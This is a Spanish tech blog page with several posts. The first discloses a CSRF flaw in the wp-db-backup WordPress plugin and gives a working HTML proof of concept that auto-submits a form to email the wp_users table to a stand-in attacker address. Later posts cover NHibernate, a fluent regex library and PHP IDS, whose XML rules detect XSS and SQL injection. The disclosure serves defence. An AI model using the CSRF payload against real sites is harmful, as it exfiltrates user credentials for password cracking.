Categories
CSRF Seguridad WordPress

wp-db-backup: ¡tus datos son míos!

Ya es casi un año desde que tomamos la decisión de no utilizar wp-db-backup en este blog, esta decisión principalmente se debió a que alguien logró acceder a los paneles de administración de varios blogs que usaban este plugin, la persona que hizo esto utilizó los datos de los backups previamente generados.

Esta vez la historia se vuelve a repetir, puesto que este es otro plugin que lamentablemente es vulnerable a ataques CSRF, gracias a esto es posible que cualquiera pueda obtener los backups sin mayor esfuerzo.

La versión 2.0.6 incluye tres formas de poder obtener los backups:

  1. Guardar en un directorio aleatorio en el servidor web.
  2. Descargar el backup a la máquina del usuario.
  3. Enviar el backup por correo a una cuenta de email especificada en otro campo.

No recuerdo si la tercera opción estaba disponible antes o si es que ha sido agregado en versiones recientes, pero ésta es la más peligrosa porque si alguien incluye el siguiente documento html dentro de un (i)frame y de algún modo hace que la víctima (con permisos suficientes para realizar backups) entre a una página que contiene ese elemento, entonces, asumiendo que el prefijo de las tablas es el que viene por omisión, el atacante recibirá los datos de la tabla wp_users.

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>wp-db-backup PoC</title>     
</head>
<body>
    <form method="post" action="http://victima.com/wp-admin/edit.php?page=wp-db-backup.php">
            <input type="hidden" name="deliver" value="smtp" />
                <input type="hidden" name="backup_recipient" value="usuario@atacante.com" />
                <input type="hidden" name="core_tables[]" value="wp_users" />
                <input type="hidden" name="do_backup" value="backup" />
        </form>
        <script type="text/javascript">
            //<![CDATA[
            document.forms[0].submit();
            //]]>
        </script>
</body>
</html>

Una vez que se tengan los datos de los usuarios del blog victima.com, el atacante puede hacer uso de fuerza bruta para recuperar las contraseñas almacenadas con md5.

Por lo pronto, les recomiendo que desactiven este plugin mientras su autor corrige este problema y libera una nueva versión.

Categories
.NET Miniposts

NHibernate 1.2

NHibernate 1.2 está listo para ser usado en producción, las cosas que mencionan en las notas de la versión son:

  • Support for generic collections (soporte nativo para generics)
  • Custom SQL, including stored procedures (se puede personalizar la consulta SQL usada para persistir las entidades, también existe soporte para procedimientos almacenados)
  • Improved legacy database support
  • Subselect fetching
  • Enhancements to Criteria API
  • Filters (filtrar datos de acuerdo a ciertos criterios definidos)
  • Enhanced user types support
  • Update batching on MS SQL Server (ejecutar en conjunto, consultas UPDATE/INSERT/DELETE)
  • Multi-queries (algo parecido al anterior pero esta característica es para recuperar datos)
  • SysCache2 (cache de segundo nivel en el que se puede hacer uso del denominado "cache invalidation" para refrescar los datos de acuerdo a algunos eventos producidos en la base de datos)
  • Database dialects (soporte para nuevas bases de datos Ingres, Informix, Sybase ASA, Microsoft SQL Server 2005 y SQL Server CE. Ahora es posible usar SetFirstResult/SetMaxResults en SQL Server 2005)

Fuente: Ayende

Categories
.NET Expresiones Regulares

Expresiones regulares más entendibles en .NET – II

En la primera parte en el que recomendaba el uso de comentarios y la asignación de nombres a los grupos que se definían en la expresión regular, Eber Irigoyen comentó otra alternativa, que también había visto antes 🙂 , donde se hace uso del patrón Fluent Interface para que las expresiones regulares sean más fáciles de entender, este conjunto de clases es obra de Joshua Flanagan:

El siguiente ejemplo muestra un equivalente a la siguiente expresión regular: <(?<tag>[a-zA-Z][a-zA-Z]*)[^>]*>(?<innerHTML>.*?)</\k<tag>>

csharp:

using System;
using FlimFlan.ReadableRex;
using System.Text.RegularExpressions;

class Program
{
    static void Main(string[] args)
    {
        //Regex htmlTag = new Regex(@"<(?<tag>[a-zA-Z][a-zA-Z]*)[^>]*>(?<innerHTML>.*?)</\k<tag>>");

        Pattern pattern =
            Pattern.With.Literal("<"). // <
            NamedGroup("tag", Pattern.With.Set(Range.AnyLetter).Set(Range.AnyLetter).Repeat.ZeroOrMore). // (?<tag>[a-zA-Z][a-zA-Z]*)
                NegatedSet(Pattern.With.Literal(">")).Repeat.ZeroOrMore.Literal(">"). // [^>]*>
            NamedGroup("innerHTML", Pattern.With.Anything.Repeat.Lazy.ZeroOrMore). // (?<innerHTML>.*?)
            RegEx(@"</\k<tag>>"); // </\k<tag>>

        Match match = Regex.Match(@"<a href=""http://www.buayacorp.com"">Enlace</a>", pattern.ToString());

        Console.WriteLine("Patrón: {0}\nGrupo innerHTML: {1}", pattern.ToString(), match.Groups["innerHTML"].Value);
    }
}

Esta última alternativa es más adecuada para aquellos que no están tan familiarizados con las expresiones regulares, pero es bastante fastidioso cuando se requiere expresar un patrón más largo y complejo; en todo caso el uso de uno u otro método, dependerá de las prácticas que se sigan en cada empresa -o proyecto.

Categories
CSRF PHP Seguridad Sql Injection Web XSS

PHP IDS (Intrusion Detection System)

Mario.Heiderich y Christian vienen desarrollando un sistema de detección de intrusos en PHP 5, el cual funciona en base a un conjunto de filtros definidos en un archivo XML, que detectan posibles parámetros peligrosos en las peticiones que se hacen sobre un servidor web.

xml:

<?xml version="1.0" encoding="iso-8859-1" ?>

<filters>
        <filter>
                <rule><![CDATA[(@import|;base64|alert[\s]?\(|expression[\s]?\(|urn[\s]?\(|fromCharcode[\s]?\(|decodeURIComponent[\s]?\(|eval[\s]?\(|Execute[\s]?\()]]></rule>
                <description>detects imported poisoned stylesheets, base64 attacks, vbscript probings and typical js injections</description>
        <tags>
                        <tag>xss</tag>
                        <tag>csrf</tag>
                        <tag>id</tag>
                        <tag>rfe</tag>
                </tags>
        <impact>4</impact>
        </filter>   
        <filter>
                <rule><![CDATA[(SELECT|INSERT|CREATE|DELETE|FROM|WHERE|LIKE|EXEC|SP_|XP_|SQL|ROWSET|OPEN|BEGIN|END|DECLARE|UNION|NULL)]]></rule>
                <description>detects common sql keywords</description>
        <tags>
                        <tag>sqli</tag>
            <tag>id</tag>
                </tags>
        <impact>2</impact>
        </filter>   
</filters>

El modo de uso es el siguiente:

php:

<?php
/**
 *      Cargar las clases
 */
require_once './phpids/ids.php';
require_once './phpids/storage.php';

try {
        /**
         *      Cargar los filtros por omisión distribuidos en el código fuente
         */
        $storage = new Filter_Storage();
        $storage->getFilterFromXML('./phpids/default_filter.xml');

        /**
         *      Instanciar el IDS y empezar a buscar elementos sospechosos
         *
         */
        $get = new IDS_Monitor($_GET, $storage); // $_POST, $_REQUEST, etc
        $result = $get->run();
       
        /**
         *      Mostrar los resultados en el navegador
         *
         * (Lo ideal sería enviar el resultado a otro archivo)
         */
        header('Content-type: text/plain; charset=utf-8');
        print_r($result);
} catch (Exception $e) {
        printf(
                'An error occured: %s',
                $e->getMessage()
        );
}
?>

En las pocas pruebas que hice, pude notar que en algunos casos se pueden saltar los filtros que vienen por omisión, por otro lado también se reportan muchos falsos positivos en cadenas de caracteres totalmente inofensivas -- en mi opinión, es consecuencia del uso de expresiones regulares.

Más allá de las limitaciones (y posibles problemas de rendimiento) que pueda tener, es una alternativa para aquellos servidores donde no está instalado mod_security.

Categories
.NET ASP.NET Desarrollo de Software Miniposts Windows Forms

Screencast: Integración continua

Interesante screencast sobre Integración Continua realizado Scott Hanselman y Jay Flowers en DotNetRocks TV, hacen uso de CI Factory para explicar este tema.